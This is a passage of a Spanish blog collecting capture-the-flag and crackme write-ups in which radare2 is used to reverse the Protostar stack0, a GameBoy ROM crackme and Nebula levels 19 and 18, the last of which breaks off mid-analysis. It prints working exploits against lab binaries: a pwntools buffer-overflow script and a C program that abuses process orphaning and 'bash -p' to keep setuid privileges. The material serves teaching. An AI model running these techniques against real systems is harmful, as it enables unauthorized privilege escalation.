aslr     false

Es decir, todas las protecciones anti-overflow se encuentran desactivadas. Los organizadores lo han hecho intencionadamente para que el lector aprenda las bases de esta clase de vulnerabilidades y pueda practicar el desarrollo de exploits comenzando por los casos más sencillos. Para el estudio de protecciones y técnicas de exploiting más avanzadas, exploit-exercises.com cuenta con la máquina Fusion, cuyos retos también resolveremos aquí y que serán de interés a los estudiantes más adelantados.

Seguimos:

[0x08048340]> iz
000 0x00000500 0x08048500  40  41 (.rodata) ascii you have changed the 'modified' variable
001 0x00000529 0x08048529  10  11 (.rodata) ascii Try again?

Aquí tenemos los strings good boy y bad boy respectivamente.

[0x08048340]> ii
[Imports]
   1 0x080482fc    WEAK  NOTYPE __gmon_start__
   2 0x0804830c  GLOBAL    FUNC gets
   3 0x0804831c  GLOBAL    FUNC __libc_start_main
   4 0x0804832c  GLOBAL    FUNC puts

El comando ii muestra las funciones importadas por el binario, nada fuera de lo normal:

[0x08048340]> afl
0x08048000   23 748  -> 749  segment.LOAD0
0x08048114   19 472          segment.INTERP
0x080482ec    1 12           fcn.080482ec
0x080482fc    1 6            loc.imp.__gmon_start
0x0804830c    1 6            sym.imp.gets
0x0804831c    1 6            sym.imp.__libc_start_main
0x0804832c    1 6            sym.imp.puts
0x08048340    1 33           sym._start
0x08048370    6 85           sym.__do_global_dtors_aux
0x080483d0    4 35           sym.frame_dummy
0x080483f4    4 65           main
0x08048440    1 5            sym.__libc_csu_fini
0x08048450    4 90           sym.__libc_csu_init
0x080484aa    1 4            sym.__i686.get_pc_thunk.bx
0x080484b0    4 42           sym.__do_global_ctors_aux
0x080484dc    1 28           sym._fini
0x080484f8    6 65           obj._fp_hw

Entre las funciones locales solo main() parece de interés. Procedemos con la fase de reversing:

[0x080483f4]> e asm.bytes=false
[0x080483f4]> s main
[0x080483f4]> pdf
/ (fcn) main 65
|   main ();
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_5ch @ esp+0x5c
|           ; DATA XREF from sym._start (0x8048357)
|           0x080483f4      push ebp
|           0x080483f5      mov ebp, esp
|           0x080483f7      and esp, 0xfffffff0
|           0x080483fa      sub esp, 0x60                              ; '`'
|           0x080483fd      mov dword [local_5ch], 0
|           0x08048405      lea eax, [local_1ch]                       ; 0x1c ; 28
|           0x08048409      mov dword [esp], eax
|           0x0804840c      call sym.imp.gets                          ; char *gets(char *s)

Aquí la variable local local_5ch se establece a 0 y luego se llama a gets(), que almacenará los datos leidos desde stdin en el buffer local_1_ch. Es una buena constumbre renombrar las variables que vamos identificando para facilitar la comprensión de los listados de código:

[0x080483f4]> afvn local_5ch canary
[0x080483f4]> afvn local_1ch buffer
[0x080483f4]> pdf
...
...
|           0x08048411      mov eax, dword [canary]                       ; [0x5c:4]=-1 ; '\' ; 92
|           0x08048415      test eax, eax
|       ,=< 0x08048417      je 0x8048427
|       |   0x08048419      mov dword [esp], str.you_have_changed_the__modified__variable ; [0x8048500:4]=0x20756f79 ; "you have changed the 'modified' variable"
|       |   0x08048420      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x08048425      jmp 0x8048433

Aquí se comprueba si la recién renombrada variable canary es igual a 0, en caso afirmativo se muestra el mensaje de chico bueno, en caso contrario seguiría así:

|      |`-> 0x08048427      mov dword [esp], str.Try_again             ; [0x8048529:4]=0x20797254 ; "Try again?"
|      |    0x0804842e      call sym.imp.puts                          ; int puts(const char *s)
|      |    ; CODE XREF from main (0x8048425)
|      `--> 0x08048433      leave
\           0x08048434      ret

La vulnerabilidad salta a la vista, gets() no imponen ningún límite de tamaño en los introducidos por el usuario. Como la variable canary es contigua en memoria a buffer, si los datos recibidos por gets() desbordan la capacidad de buffer entonces sobreescribirán el canary cambiando su valor actual. Calcular la capacidad de buffer es realmente sencillo:

[0x080483f4]> ? 0x5c - 0x1c
hex     0x40
int32   64

Con lo cual, cualquier payload superior a 64 bytes sobreescribirá el canary y redirigirá el flujo del programa hacia la zona de chico bueno. La construcción de un exploit es casi trivial:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack0"

padding = "A"*64
canary  = 0xabad1dea

def exploit():
    payload = padding + p32(canary)
    p = process(context.binary.path)
    p.sendline(payload)
    print(p.recv())

if __name__ == "__main__":
    exploit()

La documentación de pwntools es extensa y contiene infinidad de ejemplos. Sugerimos al lector su estudio ya que aquí no nos detendremos demasiado en analizar línea por línea el significado de cada operación.

La estructura es sencilla: establecemos el contexto de la máquina a atacar y la ruta del binario vulnerable, luego abrimos el proceso, enviamos directamente el payload y leemos el resultado:

dpc@kernelinside:~/protostar/bin$ python exp_stack0.py 
[*] '/home/dpc/protostar/bin/stack0'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack0': pid 1577
[*] Process '/home/dpc/protostar/bin/stack0' stopped with exit code 41 (pid 1577)
you have changed the 'modified' variable

Pwned!

GameBoy ROM Reversing con radare2

Ahora que me declaro un enamorado de r2 (radare2), y que día a día intento mejorar mis habilidades con el mismo tanto en la faceta del análisis estático como en los enrevesados caminos del debugging, encontré por casualidad los desafíos (crackmes) presentados en la última r2con del 2017.

Entre ellos llamó especialmente mi atención lo que parecía ser un archivo ROM de la famosa consola GameBoy (aquí). Decídí probar suerte, comprobar si podía resolver este reto por mis propios medios, y averiguar cuán elevado había sido el nivel de la competición en esta convención que, tarde o temprano, se hará un nombre dentro de la historia de las CoN's.

El primer paso, por supuesto, es comprobar si efectivamente estamos tratando con un juego de la mencionada consola. Para ello debemos instalar un emulador capaz de cargar el archivo con extensión .gb. Después de instalar vba mediante apt en mi Linux box el resultado no fue el deseado, por lo que probé con otro famoso emulador llamado mednafen, también obtenido mediante el gestor de paquetes apt. En la imágen vemos el resultado de invocar mednafen ./simple.gb:

game boy rom con mednafen

La finalidad del juego es muy simple, descubrir cuál es la secuencia o password correcto. Con las teclas W y S modificamos los dígitos aumentándolos o disminuyéndolos. Con A y D nos desplazamos a izquierda y derecha entre las 5 posiciones del código. Probamos a introducir un valor arbitrario y pulsamos ENTER:

game boy rom con mednafen


Por los pelos... :)

Ya que de eso trata la competición, debemos hacer uso de radare2 para destripar el binario y analizar el algoritmo que genera la secuéncia de números correcta:

dpc@kernelinside:~$ r2 ./simple.gb
[0x00000100]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[ ] 
[Value from 0x00000000 to 0x00008000
aav: 0x00000000-0x00008000 in 0x0-0x8000
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000100]> iI
arch     gb
binsz    32768
bits     16
canary   false
crypto   false
endian   little
havecode true
linenum  false
lsyms    false
machine  Gameboy
nx       false
os       any
pic      false
relocs   false
static   true
stripped false
va       true

Efectivamente r2 identifica a simple.gb como una imágen de GameBoy y nos recuerda que estamos tratando con una arquitectura de 16 bits. En este momento, y antes de entrar a desensamblar el binario, convendría buscar alguna documentación sobre programación en assembler para el microprocesador de esta consola. Se trata de un subset del famoso Z80, y realmente los mnemónicos se pueden entender sin necesidad de referencia alguna.

A la tarea. Ya que contamos con el mensaje de chico malo "FAIL!", tratamos de localizarlo dentro del espacio de direcciones:

[0x00000000]> / FAIL!
Searching 5 bytes in [0x0-0x8000]
hits: 1
0x000002f3 hit20_0 .!fWIN!FAIL!6#66#6.

Esto se llama un dos por uno, ya tenemos chico bueno y chico malo. Otra opción era buscar todas las strings del binario:

[0x00000100]> izz
000 0x00000111 0x00000111   4  10 (rombank00) utf16le \f\rᄈ蠟 blocks=Basic Latin,Hangul Jamo,CJK Unified Ideographs
001 0x00000132 0x00000132   8   9 (rombank00) ascii 3>SIMPLE
...
010 0x000002ee 0x000002ee   4   5 (rombank00) ascii WIN!
011 0x000002f3 0x000002f3   5   6 (rombank00) ascii FAIL!
...
026 0x0000051e 0x0000051e  10  11 (rombank00) ascii 0123456789
...
090 0x0000107d 0x0000107d  16  17 (rombank00) ascii 0123456789ABCDEF
...
128 0x0000150e 0x0000150e   7   8 (rombank00) ascii \a\b\t\n\v\f\r
129 0x00001527 0x00001527  95  96 (rombank00) ascii  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
...

He recortado el listado por contener hasta 260 resultados casi todos irrelevantes. En todo caso ahora ya podemos preguntar a r2 quién hace referencia a nuestros mensajes. Las cross-references no funcionarán (es lo que tiene tratar con una plataforma marginal), pero nada nos impide buscar la dirección del string dentro del código ejecutable:

[0x00000100]> /x f302
Searching 2 bytes in [0x0-0x8000]
hits: 1
0x000002e5 hit0_0 f302

Una coincidencia. Desensamblamos la función que la contiene (con e asm.bytes=false dehabilitamos la impresión de opcodes para un resultado más legible):

[0x000002e5]> e asm.bytes=false
[0x000002e5]> pdf
/ (fcn) fcn.00000274 107
|   fcn.00000274 ();
|           ; var int local_2h @ sp+0x2
|           ; CALL XREF from hit0_0 (+0x22f)
|           0x00000274      ld hl, sp + 0x02
|           0x00000276      ld e, [hl]
|           0x00000277      inc hl
|           0x00000278      ld d, [hl]
|           0x00000279      ld hl, 0x0004
|           0x0000027c      add hl, de
|           0x0000027d      ld c, l
|           0x0000027e      ld b, h
|           0x0000027f      ld a, [bc]
|           0x00000280      ld c, a
|           0x00000281      cp 0x03
|       ,=< 0x00000283      jp nZ, 0x02e4
|      ,==< 0x00000286      jr 0x03
..
|     |||   ; CODE XREF from fcn.00000274 (0x286)
|     |`--> 0x0000028b      ld hl, sp + 0x02
|     | |   0x0000028d      ld c, [hl]
|     | |   0x0000028e      inc hl
|     | |   0x0000028f      ld b, [hl]
|     | |   0x00000290      inc bc
|     | |   0x00000291      inc bc
|     | |   0x00000292      ld a, [bc]
|     | |   0x00000293      ld c, a
|     | |   0x00000294      cp 0x07
|     |,==< 0x00000296      jp nZ, 0x02e4
|    ,====< 0x00000299      jr 0x03
..
|   |||||   ; CODE XREF from fcn.00000274 (0x299)
|   |`----> 0x0000029e      ld hl, sp + 0x02
|   | |||   0x000002a0      ld c, [hl]
|   | |||   0x000002a1      inc hl
|   | |||   0x000002a2      ld b, [hl]
|   | |||   0x000002a3      inc bc
|   | |||   0x000002a4      ld a, [bc]
|   | |||   0x000002a5      ld c, a
|   | |||   0x000002a6      cp 0x05
|   |,====< 0x000002a8      jp nZ, 0x02e4
|  ,======< 0x000002ab      jr 0x03
..
| |||||||   ; CODE XREF from fcn.00000274 (0x2ab)
| |`------> 0x000002b0      ld hl, sp + 0x02
| | |||||   0x000002b2      ld e, [hl]
| | |||||   0x000002b3      inc hl
| | |||||   0x000002b4      ld d, [hl]
| | |||||   0x000002b5      ld hl, 0x0003
| | |||||   0x000002b8      add hl, de
| | |||||   0x000002b9      ld c, l
| | |||||   0x000002ba      ld b, h
| | |||||   0x000002bb      ld a, [bc]
| | |||||   0x000002bc      ld c, a
| | |||||   0x000002bd      cp 0x01
| |,======< 0x000002bf      jp nZ, 0x02e4
| ========< 0x000002c2      jr 0x03
..
| |||||||   ; CODE XREF from fcn.00000274 (0x2c2)
| --------> 0x000002c7      ld hl, sp + 0x02
| |||||||   0x000002c9      ld c, [hl]
| |||||||   0x000002ca      inc hl
| |||||||   0x000002cb      ld b, [hl]
| |||||||   0x000002cc      ld a, [bc]
| |||||||   0x000002cd      ld c, a
| |||||||   0x000002ce      cp 0x09
| ========< 0x000002d0      jp nZ, 0x02e4
| ========< 0x000002d3      jr 0x03
..
| |||||||   ; CODE XREF from fcn.00000274 (0x2d3)
| --------> 0x000002d8      ld hl, 0x02ee
| |||||||   0x000002db      push hl
| |||||||   0x000002dc      call fcn.00000f66
| |||||||   0x000002df      add sp, 0x02
| ========< 0x000002e1      jp 0x02ed
| |||||||   ; XREFS: CODE 0x00000283  CODE 0x00000288  CODE 0x00000296  CODE 0x0000029b  
| |||||||   ; XREFS: CODE 0x000002a8  CODE 0x000002ad  CODE 0x000002bf  CODE 0x000002c4  
| |||||||   ; XREFS: CODE 0x000002d0  CODE 0x000002d5  
| ```````-> 0x000002e4  ~   ld hl, 0x02f3
|           ;-- hit0_0:
|           0x000002e5      di
|           0x000002e6      ld [bc], a
|           0x000002e7      push hl
|           0x000002e8      call fcn.00000f66
|           0x000002eb      add sp, 0x02
|           ; CODE XREF from fcn.00000274 (0x2e1)
\ --------> 0x000002ed      ret

Es en esta última parte del código donde la dirección 0x2f3 "FAIL!" es cargada en el registro hl, introducida en la pila mediante push hl y finalmente se llama a fcn.00000f66() quien imprimirá el mensaje por pantalla.

Un poco más arriba observamos una estructura de código idéntica pero que utiliza la dirección 0x2ee como argumento para fcn.00000f66().

[0x000002e5]> ps @ 0x2ee
WIN!

Pareque que estamos donde queríamos. Existen varias referencias que conducen a chico malo, entre ellas nos llaman la atención las siguientes:

0x00000281      cp 0x03
0x00000283      jp nZ, 0x02e4
...
0x00000294      cp 0x07
0x00000296      jp nZ, 0x02e4
...
0x000002a6      cp 0x05
0x000002a8      jp nZ, 0x02e4
...
0x000002bd      cp 0x01
0x000002bf      jp nZ, 0x02e4
...
0x000002ce      cp 0x09
0x000002d0      jp nZ, 0x02e4

Los dígitos 3, 7, 5, 1 y 9 son significativos desde luego, pero debemos estudiar la función desde el principio para descubrir en qué orden:

|   fcn.00000274 ();
|           ; var int local_2h @ sp+0x2
|           ; CALL XREF from hit0_0 (+0x22f)
|           0x00000274      ld hl, sp + 0x02
|           0x00000276      ld e, [hl]
|           0x00000277      inc hl
|           0x00000278      ld d, [hl]
|           0x00000279      ld hl, 0x0004
|           0x0000027c      add hl, de
|           0x0000027d      ld c, l
|           0x0000027e      ld b, h
|           0x0000027f      ld a, [bc]
|           0x00000280      ld c, a
|           0x00000281      cp 0x03
|       ,=< 0x00000283      jp nZ, 0x02e4
|      ,==< 0x00000286      jr 0x03

Recordamos que estamos trabajando con una arquitectura de 16 bits (word registers).

Mediante ld hl, sp+0x02 se carga en hl el argumento recibido por nuestra función (este fue pusheado anteriormente en la pila). Parece que tratamos con un puntero, pues a continuación se mueve al registro e el primer byte contenido en hl y en d el segundo byte de hl. La instrucción add añade 4 bytes a la dirección ahora contenida en de y el resultado se almacena de nuevo en hl. Esta dirección se descompone de nuevo en dos introduciendo el byte más significativo en b y el menos significativo en c. Finalmente, y en dos pasos, se mueve el valor contenido en [bc] al registro c y se compara con la constante 0x03.

Rápidamente nos damos cuenta que se trata más de un intento de ofuscación de código y no un algoritmo de cifrado o algo por el estilo. En pseudocódigo toda esta maraña de ensamblador se puede resumir en:

if (buffer[4] != 0x03)
    jmp chico_malo

El resto del código en fcn.00000274() es idéntico al fragmento que acabamos de estudiar salvo que en cada caso se calcula un índice distinto. Lo que dejamos como tarea para el lector (no le llevará más de medio minuto). Si asignamos los índices con las constantes a comparar obtenemos:

idx=4 -> 0x03
idx=2 -> 0x07
idx=1 -> 0x05
idx=3 -> 0x01
idx=0 -> 0x09

O lo que es igual:

if (buffer[4] != 0x03 || buffer[2] != 0x07 || buffer[1] != 0x05 || buffer[3] != 0x01 || buffer[0] != 0x09)
    print "FAIL!"
else
    print "WIN!"

Ordenamos los índices y obtenemos la secuencia "95713":

game boy rom con mednafen

Pwned!

Ha sido sencillo, instructivo y divertido al mismo tiempo. Como indica el propio nombre del binario, se trata de un desafío "simple" que sirve de calentamiento para aquellos que desconozcan esta clase de plataforma o código para consolas antiguas. Entre los demás crackmes los organizadores plantearon otro reto llamado harder.gb. Ya veremos si somos tan valientes de lanzarnos a la aventura...

miércoles, 25 de julio de 2018

Nebula CTF - level19

Tras un enriquecedor y estimulante camino, alcanzamos por fin el último reto de la máquina Nebula, dedicada a explorar los conceptos básicos sobre vulnerabilidades en entornos de desarrollo Unix. Veamos si podemos completar con éxito el desafío final:

level19@nebula:/home/flag19$ ls -al
total 13
drwxr-x--- 2 flag19 level19   80 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag19 flag19   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag19 flag19  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag19 level19 7480 2011-11-20 21:22 flag19
-rw-r--r-- 1 flag19 flag19   675 2011-05-18 02:54 .profile

Un binario, como no podía ser menos. Al ejecutar ./flag19 simplemente obtenemos por respuesta:

You are unauthorized to run this program

Indagamos con radare2 para extraer toda la información:

dpc@kernelinside:~$ r2 ./flag19
 -- Enable asm.trace to see the tracing information inside the disassembly
[0x080484a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x080484a0]> iz
000 0x00000730 0x08048730   8   9 (.rodata) ascii /proc/%d
001 0x0000073c 0x0804873c  30  31 (.rodata) ascii Unable to check parent process
002 0x0000075b 0x0804875b   7   8 (.rodata) ascii /bin/sh
003 0x00000763 0x08048763  16  17 (.rodata) ascii Unable to execve
004 0x00000774 0x08048774  40  41 (.rodata) ascii You are unauthorized to run this program

Parece que existe la posibilidad de invocar otra shell con permisos elevados. Examinamos las funciones más interesantes:

[0x080484a0]> afl
0x080483bc    3 46           sym._init
0x08048400    1 6            sym.imp.__stack_chk_fail
0x08048410    1 6            sym.imp.err
0x08048420    1 6            sym.imp.__xstat
0x08048430    1 6            sym.imp.puts
0x08048440    1 6            loc.imp.__gmon_start
0x08048450    1 6            sym.imp.exit
0x08048460    1 6            sym.imp.__libc_start_main
0x08048470    1 6            sym.imp.execve
0x08048480    1 6            sym.imp.snprintf
0x08048490    1 6            sym.imp.getppid
0x080484a0    1 33           entry0
0x080484d0    6 85           sym.__do_global_dtors_aux
0x08048530    4 35           sym.frame_dummy
0x08048554    7 219          sym.main
0x08048630    4 97           sym.__libc_csu_init
0x080486a0    1 2            sym.__libc_csu_fini
0x080486a2    1 4            sym.__i686.get_pc_thunk.bx
0x080486b0    1 48           sym.__stat
0x080486e0    4 42           sym.__do_global_ctors_aux
0x0804870c    1 26           sym._fini

Como funciones locales solo tenemos a main(), y no parece ser muy grande, por otro lado sí destacan las llamadas a geppid() y execve(), esta última confirmando la pista anterior. No nos entretenemos más y entramos de lleno en main():

[0x080484a0]> s sym.main
[0x08048554]> pdf
|           ;-- main:
/ (fcn) sym.main 219
|   sym.main (int arg_ch, int arg_10h);
|           ; arg int arg_ch @ ebp+0xc
|           ; arg int arg_10h @ ebp+0x10
|           ; var size_t size @ esp+0x4
|           ; var char *format @ esp+0x8
|           ; var int local_ch @ esp+0xc
|           ; var int local_18h @ esp+0x18
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_24h @ esp+0x24
|           ; var int local_3ch @ esp+0x3c
|           ; var char *s @ esp+0x7c
|           ; var int local_17ch @ esp+0x17c
|           ; DATA XREF from entry0 (0x80484b7)
|           0x08048554      push ebp
|           0x08048555      mov ebp, esp
|           0x08048557      and esp, 0xfffffff0
|           0x0804855a      sub esp, 0x180
|           0x08048560      mov eax, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|           0x08048563      mov dword [local_1ch], eax
|           0x08048567      mov eax, dword [arg_10h]                   ; [0x10:4]=-1 ; 16
|           0x0804856a      mov dword [local_18h], eax
|           0x0804856e      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x08048574      mov dword [local_17ch], eax
|           0x0804857b      xor eax, eax
|           0x0804857d      call sym.imp.getppid
|           0x08048582      mov edx, str.proc__d                       ; 0x8048730 ; "/proc/%d"
|           0x08048587      mov dword [local_ch], eax                  ; ...
|           0x0804858b      mov dword [format], edx                    ; const char *format
|           0x0804858f      mov dword [size], 0xff                     ; [0xff:4]=-1 ; 255 ; size_t size
|           0x08048597      lea eax, [s]                               ; 0x7c ; '|' ; 124
|           0x0804859b      mov dword [esp], eax                       ; char *s
|           0x0804859e      call sym.imp.snprintf                      ; int snprintf(char *s, size_t size, const char *format, ...)

Hasta aquí dos llamadas de sistema bastante simples, se obtiene mediante getppid() el identificador PID del proceso padre y se llama a snprintf() para crear la cadena "/proc/$PPID" (donde $PPID es el valor obtenido anteriormente). Continuamos:

|           0x080485a3      lea eax, [s]                               ; 0x7c ; '|' ; 124
|           0x080485a7      lea edx, [local_24h]                       ; 0x24 ; '$' ; 36
|           0x080485ab      mov dword [size], edx
|           0x080485af      mov dword [esp], eax
|           0x080485b2      call sym.__stat
|           0x080485b7      cmp eax, 0xffffffffffffffff
|       ,=< 0x080485ba      jne 0x80485d4
|       |   0x080485bc      mov dword [esp], str.Unable_to_check_parent_process ; [0x804873c:4]=0x62616e55 ; "Unable to check parent process" ; const char *s
|       |   0x080485c3      call sym.imp.puts                          ; int puts(const char *s)
|       |   0x080485c8      mov dword [esp], 1                         ; int status
|       |   0x080485cf      call sym.imp.exit                          ; void exit(int status)

Se llama a stat() sobre el path construido hace un momento. En caso de error se imprime un mensaje y exit() nos saca fuera del programa, en caso contrario sigue así:

|       `-> 0x080485d4      mov eax, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|           0x080485d8      test eax, eax
|       ,=< 0x080485da      jne 0x804860c
|       |   0x080485dc      mov eax, dword [local_18h]                 ; [0x18:4]=-1 ; 24
|       |   0x080485e0      mov dword [format], eax
|       |   0x080485e4      mov eax, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|       |   0x080485e8      mov dword [size], eax
|       |   0x080485ec      mov dword [esp], str.bin_sh                ; [0x804875b:4]=0x6e69622f ; "/bin/sh"
|       |   0x080485f3      call sym.imp.execve

Aquí se encuentra el quiz del reto. Se compara uno de los campos de la structura stat obtenida anteriormente con el valor 0, en caso de ser iguales execve() es invocado. Descubrimos mediante ltrace que en realidad ./flag19 llama a stat64(), y que el campo a chequear es st_uid, es decir, se está comprobando si el propietario del proceso padre de ./flag19 es el usuario root.

Existen dos posibilidades:

Primero. La salida del comando ps mostrada a continuación, nos revela que el propietario del proceso login es root, por lo que si pudieramos cambiar la shell de inicio del usuario level19 por el binario ./flag19, entonces habríamos logrado nuestro objetivo. Por desgracia, un comando como chsh level19 -s /home/flag19/flag19 nos advertirá de que ./flag19 no es una shell válida, y lo será mientras no podamos incluir el binario dentro del archivo de configuración /etc/shells, para el cual, por supuesto, no tenemos permisos de escritura.

level19@nebula:/home/flag19$ ps -aux
...
...
root      1261  0.0  0.1   4972  1824 tty1     Ss   07:31   0:00 /bin/login --        
level19   1287  0.0  0.6  10256  6684 tty1     S+   07:31   0:00 -sh

Segundo. Cualquier proceso en Linux (y en la práctica casi cualquier variante derivada de Unix) que se quede huérfano, será adoptado por el proceso init, cuyo propietario es el usuario root. Esta información es suficente para construir un programa que llame a fork() y, una vez que el proceso padre haya terminado, invocar execve() con el binario ./flag19.

Solo debemos de tener en cuenta un par de detalles. Cuando ./flag19 llame a execve("/bin/sh"), lo hará pasándole los mismos argumentos que nosotros hemos pasado a ./flag19 en nuestra particular llamada a execve(). Por otro lado, en esta clase de retos, en los que un programa con el bit suid activado invoca una nueva shell, se suele utilizar algun tipo de wrapper tal como el que se muestra a continuación:

int main()
{
    setresuid(geteuid(), geteuid(), geteuid());
    system("/bin/bash");
}

Esto restablece los privilegios de ejecución a los que poseía el propietario del binario vulnerable. Para evitar esta molesta indirección, he aprovechado una opción muy interesante que ofrece bash y que logra el mismo objetivo:

`-p'

      Turn on privileged mode.  In this mode, the `$BASH_ENV' and
      `$ENV' files are not processed, shell functions are not
      inherited from the environment, and the `SHELLOPTS',
      `BASHOPTS', `CDPATH' and `GLOBIGNORE' variables, if they
      appear in the environment, are ignored.  If the shell is
      started with the effective user (group) id not equal to the
      real user (group) id, and the `-p' option is not supplied,
      these actions are taken and the effective user id is set to
      the real user id.  If the `-p' option is supplied at startup,
      the effective user id is not reset.  Turning this option off
      causes the effective user and group ids to be set to the real
      user and group ids.

Si lanzamos bash con la opción -p, entraremos en modo privilegiado, y bash no dropeará los privilegios que hemos conseguido al explotar la vulnerabilidad. Ahora nuestro exploit en C:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char **environ;

int main()
{
        char *const args[] = {"/bin/sh", "-p", "-c", "/bin/getflag > /tmp/l19pwned", NULL};
        pid_t pid;

        if ((pid = fork()) == 0)
        {
                sleep(1); // El proceso padre siempre morirá antes

                execve("/home/flag19/flag19", args, environ);
                _exit(1);
        }
        else
        {
                exit(0);
        }
}

Y apretamos el botón rojo:

level19@nebula:/tmp$ ./l19exploit
level19@nebula:/tmp$ ls
l19exploit  l19exploit.c  l19pwned
level19@nebula:/tmp$ cat l19pwned 
You have successfully executed getflag on a target account

Pwned!

Nebula CTF - level18

Penúltimo reto ya. level18 quizás sea uno de los más instructivos. Lo sé, es una entrada extremadamente larga, pero el lector debe recordar que estamos completando todos los desafíos sin utilizar el código fuente de las aplicaciones a explotar, por lo que aquí planteamos técnicas de reversing para encontrar vulnerabilidades y posibles vectores de ataque. Como siempre, radare2 será nuestra herramienta favorita en la parte central del análisis.

level18@nebula:/home/flag18$ ls -al
total 18
drwxr-x--- 2 flag18 level18    96 2011-11-20 21:22 .
drwxr-xr-x 1 root   root       60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag18 flag18    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag18 flag18   3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag18 level18 12216 2011-11-20 21:22 flag18
-rw------- 1 flag18 flag18     37 2011-11-20 21:22 password
-rw-r--r-- 1 flag18 flag18    675 2011-05-18 02:54 .profile

Como de costumbre, un binario suid y además un fichero password al que no tenemos acceso y el cual seguramente contenga la contraseña del usuario flag18. Haremos un breve análisis de comportamiento:

level18@nebula:/home/flag18$ strings ./flag18
/lib/ld-linux.so.2
...
fopen
strncmp
puts
__stack_chk_fail
stdin
fgets
getopt
__fprintf_chk
setresgid
fclose
asprintf
setresuid
optarg
execve
getegid
fwrite
geteuid
strchr
setvbuf
__sprintf_chk
strcmp
__libc_start_main
free
...
...
/home/flag18/password
Unable to open %s
got [%s] as input
login
attempting to login
logout
shell
attempting to start shell
/bin/sh
unable to execve
Permission denied
closelog
site exec
setuser
Unable to read password file %s
logged in successfully (with%s password file)
--> [%s] is unsupported at this current time.
unable to set user to '%s' -- not supported.
Starting up. Verbose level = %d

La syscall execve(), y los string "/bin/sh" y "attempting to start shell" no nos dejan indiferentes. También parece que existe algún sistema de autenticación (login y logout). Probemos con ltrace:

level18@nebula:/home/flag18$ ltrace ./flag18
__libc_start_main(0x80487b0, 1, 0xbfcd9574, 0x8048e20, 0x8048e90 <unfinished ...>
getopt(1, 0xbfcd9574, "d:v")                                  = -1
getegid()                                                     = 1019
getegid()                                                     = 1019
getegid()                                                     = 1019
setresgid(1019, 1019, 1019, 0x804849e, 0)                     = 0
geteuid()                                                     = 1019
geteuid()                                                     = 1019
geteuid()                                                     = 1019
setresuid(1019, 1019, 1019, 0x804849e, 0)                     = 0
fgets(

Se llama a getopt() que acepta como opciones de argumento a -d (seguido de un parámetro) y -v, que según la cadena "Starting up. Verbose level = %d" deja claro que nos permite establecer un nivel de vervosidad. Luego se lee de la entrada estándar mediante fgets(). Agregamos las nuevas opciones al análisis:

level18@nebula:/home/flag18$ ltrace ./flag18 -d /tmp/test -v
__libc_start_main(0x80487b0, 4, 0xbff4fec4, 0x8048e20, 0x8048e90 <unfinished ...>
getopt(4, 0xbff4fec4, "d:v")                                  = 100
fopen("/tmp/test", "w+")                                      = 0x98c3008
setvbuf(0x98c3008, NULL, 2, 0)                                = 0
getopt(4, 0xbff4fec4, "d:v")                                  = 118
getopt(4, 0xbff4fec4, "d:v")                                  = -1
__fprintf_chk(0x98c3008, 1, 0x8049070, 1, 0)                  = 31
getegid()                                                     = 1019
getegid()                                                     = 1019
getegid()                                                     = 1019
setresgid(1019, 1019, 1019, 1, 0)                             = 0
geteuid()                                                     = 1019
geteuid()                                                     = 1019
geteuid()                                                     = 1019
setresuid(1019, 1019, 1019, 1, 0)                             = 0
fgets(

Efectivamente vemos que el archivo es abierto con permisos de escritura y que fprintf() utiliza el handle devuelto anteriormente para escribir en él. Deducimos por lo tanto un mecanismo de logs o más bien, en base a la opción -d, un archivo con mensajes de debugging. Procedemos a continuación con una sesión de reversing mediante radare2 con el cual trazaremos la ruta seguida hasta alcanzar la posible llamada a execve("/bin/sh"):

dpc@kernelinside:~$ r2 ./flag18
 -- Stop debugging me!
[0x08048b90]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x08048b90]> is
[Symbols]
...
...
046 0x00000db0 0x08048db0 GLOBAL   FUNC  106 setuser
055 0x00000d50 0x08048d50 GLOBAL   FUNC   86 notsupported
058 0x00000c50 0x08048c50 GLOBAL   FUNC  248 login
073 0x000020ac 0x0804b0ac GLOBAL    OBJ   12 globals
083 0x000007b0 0x080487b0 GLOBAL   FUNC  992 main
088 0x000020a0 0x0804b0a0 GLOBAL    OBJ    4 optarg
001 0x00000640 0x08048640 GLOBAL   FUNC   16 imp.strcmp
002 0x00000650 0x08048650 GLOBAL   FUNC   16 imp.setresuid
003 0x00000660 0x08048660 GLOBAL   FUNC   16 imp.free
